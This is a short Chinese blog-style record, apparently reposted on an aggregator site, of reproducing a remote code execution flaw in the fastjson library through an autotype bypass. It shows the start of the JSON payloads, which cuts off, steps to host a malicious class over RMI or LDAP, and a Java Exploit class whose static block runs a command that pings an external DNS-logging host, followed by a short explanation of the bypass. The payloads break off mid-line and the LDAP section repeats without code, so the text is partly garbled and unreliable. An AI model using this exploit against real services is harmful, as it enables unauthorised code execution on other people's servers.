fastjson的RCE漏洞复现记录
参考链接:
https://paper.seebug.org/994/ 0x01 漏洞复现 RMi1. payload: {"@type":"java.lang.Class", 2. 在×××上执行,启动一个rmi服务
将下面代码保存为:Exploit.java import java.lang.Runtime; import java.lang.Process; public class Exploit { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch","/tmp/success"}; Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org"); pc.waitFor(); } catch (Exception e) { // do nothing } } } 0x02 漏洞复现 LDAP1. payload: {"@type":"java.lang.Class", 2. 在×××上执行,启动一个rmi服务
将下面代码保存为:Exploit.java 0x03 漏洞原理这次绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到map缓存,从而绕过autotype的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。 当发送第一次请求时,Class是通过deserializers.findClass加载的,然后Class将JdbcRowSetImpl类加载进map中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |